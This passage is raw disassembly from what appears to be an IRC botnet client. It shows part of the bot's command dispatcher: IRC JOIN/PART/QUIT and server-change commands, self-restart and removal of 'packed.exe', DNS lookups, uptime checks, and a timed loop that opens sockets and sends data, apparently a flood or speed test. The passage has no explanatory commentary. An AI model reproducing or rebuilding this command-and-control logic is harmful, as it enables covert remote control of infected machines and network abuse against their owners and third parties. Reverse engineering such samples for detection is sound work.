ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B899: ; CODE XREF: sub_40A9CF+EB7j mov eax, [ebp+var_1A8] sub eax, dword_419B4C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8C7 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403FE5 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8C7: ; CODE XREF: sub_40A9CF+EDDj mov eax, [ebp+var_1A8] sub eax, dword_419B3C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8ED mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4098F3 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8ED: ; CODE XREF: sub_40A9CF+F0Bj mov eax, [ebp+var_1A8] sub eax, dword_419B30 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B91B mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406722 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B91B: ; CODE XREF: sub_40A9CF+F31j mov eax, [ebp+var_1A8] sub eax, dword_419B20 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B949 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_412F07 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B949: ; CODE XREF: sub_40A9CF+F5Fj mov eax, [ebp+var_1A8] sub eax, dword_419B14 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B98A mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A1A7 add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B98A: ; CODE XREF: sub_40A9CF+F8Dj mov eax, [ebp+var_1A8] sub eax, dword_419B08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9BF mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A50E add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9BF: ; CODE XREF: sub_40A9CF+FCEj mov eax, [ebp+var_1A8] sub eax, dword_419AFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9F5 push offset aPacked_exe ; "packed.exe" push offset aQuitSRemoved_ ; "QUIT :%s removed." call sub_40D6CB pop ecx pop ecx push 36EE80h call ds:dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9F5: ; CODE XREF: sub_40A9CF+1003j mov eax, [ebp+var_1A8] sub eax, dword_419ADC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BA79 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA18 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA18: ; CODE XREF: sub_40A9CF+1042j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset aLast ; "#last" call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BA41 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63EC], eax jmp short loc_40BA4B ; --------------------------------------------------------------------------- loc_40BA41: ; CODE XREF: sub_40A9CF+1062j mov [ebp+var_63EC], offset byte_41DE30 loc_40BA4B: ; CODE XREF: sub_40A9CF+1070j push [ebp+var_63EC] push offset dword_41ED48 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41ED48 push offset aLast ; "#last" push offset aJoinSS ; "JOIN %s %s" call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA79: ; CODE XREF: sub_40A9CF+1039j mov eax, [ebp+var_1A8] sub eax, dword_419AC4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BADB mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA9C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA9C: ; CODE XREF: sub_40A9CF+10C6j mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BAB3 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63F0], eax jmp short loc_40BABD ; --------------------------------------------------------------------------- loc_40BAB3: ; CODE XREF: sub_40A9CF+10D4j mov [ebp+var_63F0], offset byte_41DE30 loc_40BABD: ; CODE XREF: sub_40A9CF+10E2j push [ebp+var_63F0] mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset aJoinSS ; "JOIN %s %s" call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BADB: ; CODE XREF: sub_40A9CF+10BDj mov eax, [ebp+var_1A8] sub eax, dword_419AB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB15 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BAFE jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BAFE: ; CODE XREF: sub_40A9CF+1128j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset aPartS ; "PART %s" call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB15: ; CODE XREF: sub_40A9CF+111Fj mov eax, [ebp+var_1A8] sub eax, dword_419AA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB6C mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BB38 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB38: ; CODE XREF: sub_40A9CF+1162j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_5A70], eax cmp [ebp+var_5A70], 927C0h jle short loc_40BB5B jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB5B: ; CODE XREF: sub_40A9CF+1185j push [ebp+var_5A70] call ds:dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB6C: ; CODE XREF: sub_40A9CF+1159j mov eax, [ebp+var_1A8] sub eax, dword_419A9C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBB0 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BB93 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BB98 loc_40BB93: ; CODE XREF: sub_40A9CF+11B9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: sub_40A9CF+11C2j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D4AB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBB0: ; CODE XREF: sub_40A9CF+11B0j mov eax, [ebp+var_1A8] sub eax, dword_419A90 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBF4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BBD7 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BBDC loc_40BBD7: ; CODE XREF: sub_40A9CF+11FDj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBDC: ; CODE XREF: sub_40A9CF+1206j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D420 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBF4: ; CODE XREF: sub_40A9CF+11F4j mov eax, [ebp+var_1A8] sub eax, dword_419A88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BC28 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40BC17 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC17: ; CODE XREF: sub_40A9CF+1241j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC28: ; CODE XREF: sub_40A9CF+1238j mov eax, [ebp+var_1A8] sub eax, dword_419A7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCB2 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BC84 cmp dword_41DE38, 0 jz short loc_40BC5B mov [ebp+var_63F4], offset aOn ; "on" jmp short loc_40BC65 ; --------------------------------------------------------------------------- loc_40BC5B: ; CODE XREF: sub_40A9CF+127Ej mov [ebp+var_63F4], offset aOff ; "off" loc_40BC65: ; CODE XREF: sub_40A9CF+128Aj push [ebp+var_63F4] push offset aDebugModeIsS_ ; "Debug mode is %s." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC84: ; CODE XREF: sub_40A9CF+1275j push offset aOn ; "on" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40BCA6 mov dword_41DE38, 1 jmp short loc_40BCAD ; --------------------------------------------------------------------------- loc_40BCA6: ; CODE XREF: sub_40A9CF+12C9j and dword_41DE38, 0 loc_40BCAD: ; CODE XREF: sub_40A9CF+12D5j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCB2: ; CODE XREF: sub_40A9CF+126Cj mov eax, [ebp+var_1A8] sub eax, dword_419A50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCD9 lea eax, [ebp+var_1A4] push eax call sub_415DFD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCD9: ; CODE XREF: sub_40A9CF+12F6j mov eax, [ebp+var_1A8] sub eax, dword_419A44 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD13 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BCFC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCFC: ; CODE XREF: sub_40A9CF+1326j mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset aModeS ; "MODE %s" call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD13: ; CODE XREF: sub_40A9CF+131Dj mov eax, [ebp+var_1A8] sub eax, dword_419A30 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A24 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD62 loc_40BD52: ; CODE XREF: sub_40A9CF+1357j ; sub_40A9CF+136Cj push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD62: ; CODE XREF: sub_40A9CF+1381j mov eax, [ebp+var_1A8] sub eax, dword_419A10 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BDC9 push 104h lea eax, [ebp+var_5B74] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA push 0 push 0 push 0 lea eax, [ebp+var_5B74] push eax push offset aOpen ; "open" push 0 call ds:dword_4171D0 cmp eax, 20h ja short loc_40BDB6 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDB6: ; CODE XREF: sub_40A9CF+13E0j push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx push 0 call ds:dword_41705C ; ExitProcess loc_40BDC9: ; CODE XREF: sub_40A9CF+13A6j mov eax, [ebp+var_1A8] sub eax, dword_419A04 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE19 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BDEC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDEC: ; CODE XREF: sub_40A9CF+1416j mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax push offset dword_4199D4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE19: ; CODE XREF: sub_40A9CF+140Dj mov eax, [ebp+var_1A8] sub eax, dword_4199C4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE38 call sub_407148 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE38: ; CODE XREF: sub_40A9CF+145Dj mov eax, [ebp+var_1A8] sub eax, dword_4199BC neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BE62 mov eax, [ebp+var_1A8] sub eax, dword_4199B0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE7B loc_40BE62: ; CODE XREF: sub_40A9CF+147Cj mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_401D6E pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE7B: ; CODE XREF: sub_40A9CF+1491j mov eax, [ebp+var_1A8] sub eax, dword_4199A8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEA9 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40CEB0 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEA9: ; CODE XREF: sub_40A9CF+14BFj mov eax, [ebp+var_1A8] sub eax, dword_41999C neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BED3 mov eax, [ebp+var_1A8] sub eax, dword_41998C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEFD loc_40BED3: ; CODE XREF: sub_40A9CF+14EDj push offset aQuitChangingSe ; "QUIT :changing server" call sub_40D6CB pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D366 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEFD: ; CODE XREF: sub_40A9CF+1502j mov eax, [ebp+var_1A8] sub eax, dword_41996C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C0D9 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BF29 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE30 loc_40BF29: ; CODE XREF: sub_40A9CF+154Ej lea eax, [ebp+var_5B78] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_40C0BA mov eax, [ebp+var_5B78] mov [ebp+var_5B7C], eax loc_40BF54: ; CODE XREF: sub_40A9CF+16D8j cmp [ebp+var_5B7C], 0 jz loc_40C0AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+10h] mov eax, [ebp+var_5B7C] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz loc_40C098 mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 2 jnz short loc_40BFEA mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40BFBA mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63F8], eax jmp short loc_40BFC4 ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40A9CF+15DBj mov [ebp+var_63F8], offset dword_419968 loc_40BFC4: ; CODE XREF: sub_40A9CF+15E9j lea eax, [ebp+var_5F80] push eax push [ebp+var_63F8] push offset dword_419944 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C08D ; --------------------------------------------------------------------------- loc_40BFEA: ; CODE XREF: sub_40A9CF+15CEj mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 17h jnz short loc_40C03E mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C011 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63FC], eax jmp short loc_40C01B ; --------------------------------------------------------------------------- loc_40C011: ; CODE XREF: sub_40A9CF+1632j mov [ebp+var_63FC], offset dword_419968 loc_40C01B: ; CODE XREF: sub_40A9CF+1640j lea eax, [ebp+var_5F80] push eax push [ebp+var_63FC] push offset dword_419920 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp short loc_40C08D ; --------------------------------------------------------------------------- loc_40C03E: ; CODE XREF: sub_40A9CF+1625j mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C059 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6400], eax jmp short loc_40C063 ; --------------------------------------------------------------------------- loc_40C059: ; CODE XREF: sub_40A9CF+167Aj mov [ebp+var_6400], offset dword_419968 loc_40C063: ; CODE XREF: sub_40A9CF+1688j lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+4] push [ebp+var_6400] push offset dword_4198EC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h loc_40C08D: ; CODE XREF: sub_40A9CF+1616j ; sub_40A9CF+166Dj push 3E8h call ds:dword_41709C ; Sleep loc_40C098: ; CODE XREF: sub_40A9CF+15BEj mov eax, [ebp+var_5B7C] mov eax, [eax+1Ch] mov [ebp+var_5B7C], eax jmp loc_40BF54 ; --------------------------------------------------------------------------- loc_40C0AC: ; CODE XREF: sub_40A9CF+158Cj push [ebp+var_5B78] call dword_41DE8C ; freeaddrinfo jmp short loc_40C0D4 ; --------------------------------------------------------------------------- loc_40C0BA: ; CODE XREF: sub_40A9CF+1573j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C0D4: ; CODE XREF: sub_40A9CF+16E9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C0D9: ; CODE XREF: sub_40A9CF+1541j mov eax, [ebp+var_1A8] sub eax, dword_4198C4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C1D4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40C105 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE30 loc_40C105: ; CODE XREF: sub_40A9CF+172Aj lea eax, [ebp+var_5F84] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_40C1B5 push 4 push 0 push 0 push 401h lea eax, [ebp+var_6388] push eax mov eax, [ebp+var_5F84] push dword ptr [eax+10h] mov eax, [ebp+var_5F84] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz short loc_40C1A9 push [ebp+var_5F84] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C179 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6404], eax jmp short loc_40C183 ; --------------------------------------------------------------------------- loc_40C179: ; CODE XREF: sub_40A9CF+179Aj mov [ebp+var_6404], offset dword_419968 loc_40C183: ; CODE XREF: sub_40A9CF+17A8j lea eax, [ebp+var_6388] push eax push [ebp+var_6404] push offset dword_4198A8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1A9: ; CODE XREF: sub_40A9CF+1781j push [ebp+var_5F84] call dword_41DE8C ; freeaddrinfo loc_40C1B5: ; CODE XREF: sub_40A9CF+174Fj mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1D4: ; CODE XREF: sub_40A9CF+171Dj mov eax, [ebp+var_1A8] sub eax, dword_419898 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C37A mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C207 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx cmp eax, 0Ah ja short loc_40C20C loc_40C207: ; CODE XREF: sub_40A9CF+1825j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C20C: ; CODE XREF: sub_40A9CF+1836j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx mov [ebp+var_638C], eax push 4 push offset a2002 ; "2002" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416DEA ; memcmp add esp, 0Ch test eax, eax jnz loc_40C35B mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-9] mov [ebp+var_6398], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-8] mov [ebp+var_6397], al and [ebp+var_6396], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-7] mov [ebp+var_6395], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-6] mov [ebp+var_6394], al and [ebp+var_6393], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-4] mov [ebp+var_6392], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-3] mov [ebp+var_6391], al and [ebp+var_6390], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-2] mov [ebp+var_638F], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-1] mov [ebp+var_638E], al and [ebp+var_638D], 0 lea eax, [ebp+var_638F] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6392] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6395] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6398] push eax call sub_40A8AD pop ecx push eax mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419860 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 1Ch jmp short loc_40C375 ; --------------------------------------------------------------------------- loc_40C35B: ; CODE XREF: sub_40A9CF+1866j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419844 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C375: ; CODE XREF: sub_40A9CF+198Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C37A: ; CODE XREF: sub_40A9CF+1818j mov eax, [ebp+var_1A8] sub eax, dword_419838 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C4B0 call sub_416B64 ; clock mov [ebp+var_639C], eax and [ebp+var_63A4], 0 and [ebp+var_63A0], 0 push 10h push 0 lea eax, [ebp+var_63B4] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_63B4], 2 loc_40C3C8: ; CODE XREF: sub_40A9CF+1A95j call sub_416B64 ; clock sub eax, [ebp+var_639C] cmp eax, 3E8h jnb loc_40C469 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call ds:dword_417238 ; htons mov [ebp+var_63B2], ax push 4 push 0 call sub_4040E8 pop ecx pop ecx mov [ebp+var_63B0], eax push 0 push 2 push 2 call ds:dword_417218 ; socket mov [ebp+var_63B8], eax push 10h lea eax, [ebp+var_63B4] push eax push [ebp+var_63B8] call ds:dword_4171F4 ; connect push 0 push 1 lea eax, [ebp+var_63A0] push eax push [ebp+var_63B8] call ds:dword_41720C ; send push [ebp+var_63B8] call ds:dword_417230 ; closesocket mov eax, [ebp+var_63A4] add eax, 2Bh mov [ebp+var_63A4], eax jmp loc_40C3C8 ; --------------------------------------------------------------------------- loc_40C469: ; CODE XREF: sub_40A9CF+1A09j cmp [ebp+var_63A4], 400h jbe short loc_40C483 mov eax, [ebp+var_63A4] mov [ebp+var_6408], eax jmp short loc_40C48D ; --------------------------------------------------------------------------- loc_40C483: ; CODE XREF: sub_40A9CF+1AA4j mov [ebp+var_6408], 400h loc_40C48D: ; CODE XREF: sub_40A9CF+1AB2j mov eax, [ebp+var_6408] shr eax, 0Ah push eax push offset dword_419820 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4B0: ; CODE XREF: sub_40A9CF+19BEj mov eax, [ebp+var_1A8] sub eax, dword_419818 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C4DA mov eax, [ebp+var_1A8] sub eax, dword_41980C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C4FF loc_40C4DA: ; CODE XREF: sub_40A9CF+1AF4j push offset dword_41DC34 push 3B6h push 0 push offset dword_4197E8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4FF: ; CODE XREF: sub_40A9CF+1B09j mov eax, [ebp+var_1A8] sub eax, dword_4197DC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C53A mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4142BF add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C53A: ; CODE XREF: sub_40A9CF+1B43j mov eax, [ebp+var_1A8] sub eax, dword_4197D4 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C564 mov eax, [ebp+var_1A8] sub eax, dword_4197C8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C576 loc_40C564: ; CODE XREF: sub_40A9CF+1B7Ej lea eax, [ebp+var_1A4] push eax call sub_4087C4 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C576: ; CODE XREF: sub_40A9CF+1B93j mov eax, [ebp+var_1A8] sub eax, dword_4197C0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C5A0 mov eax, [ebp+var_1A8] sub eax, dword_4197B4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C5B2 loc_40C5A0: ; CODE XREF: sub_40A9CF+1BBAj lea eax, [ebp+var_1A4] push eax call sub_408E4A pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C5B2: ; CODE XREF: sub_40A9CF+1BCFj mov eax, [ebp+var_1A8] sub eax, dword_4197A4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C614 push 1 push offset a9252 ; "9252" call sub_4046BC pop ecx pop ecx mov [ebp+var_63BC], eax push [ebp+var_63BC] push offset a08x ; "%08X" lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch cmp [ebp+var_63BC], 0 jnz short loc_40C603 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C603: ; CODE XREF: sub_40A9CF+1C2Dj push [ebp+var_63BC] call sub_404CBB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C614: ; CODE XREF: sub_40A9CF+1BF6j mov eax, [ebp+var_1A8] sub eax, dword_419790 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C63B lea eax, [ebp+var_1A4] push eax call sub_4091E2 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C63B: ; CODE XREF: sub_40A9CF+1C58j mov eax, [ebp+var_1A8] sub eax, dword_419788 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C669 mov eax, [ebp+var_1A8] sub eax, dword_41977C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C896 loc_40C669: ; CODE XREF: sub_40A9CF+1C7Fj mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C686 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_640C], eax jmp short loc_40C68D ; --------------------------------------------------------------------------- loc_40C686: ; CODE XREF: sub_40A9CF+1CA1j and [ebp+var_640C], 0 loc_40C68D: ; CODE XREF: sub_40A9CF+1CB5j mov eax, [ebp+var_640C] mov [ebp+var_63C8], eax call sub_4092A4 mov [ebp+var_63E0], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63D8], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63C4], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D4], eax mov eax, [ebp+var_63D8] cmp eax, [ebp+var_63C8] jnb short loc_40C715 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C715: ; CODE XREF: sub_40A9CF+1D3Fj call sub_409318 mov [ebp+var_63C0], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63CC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63DC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov 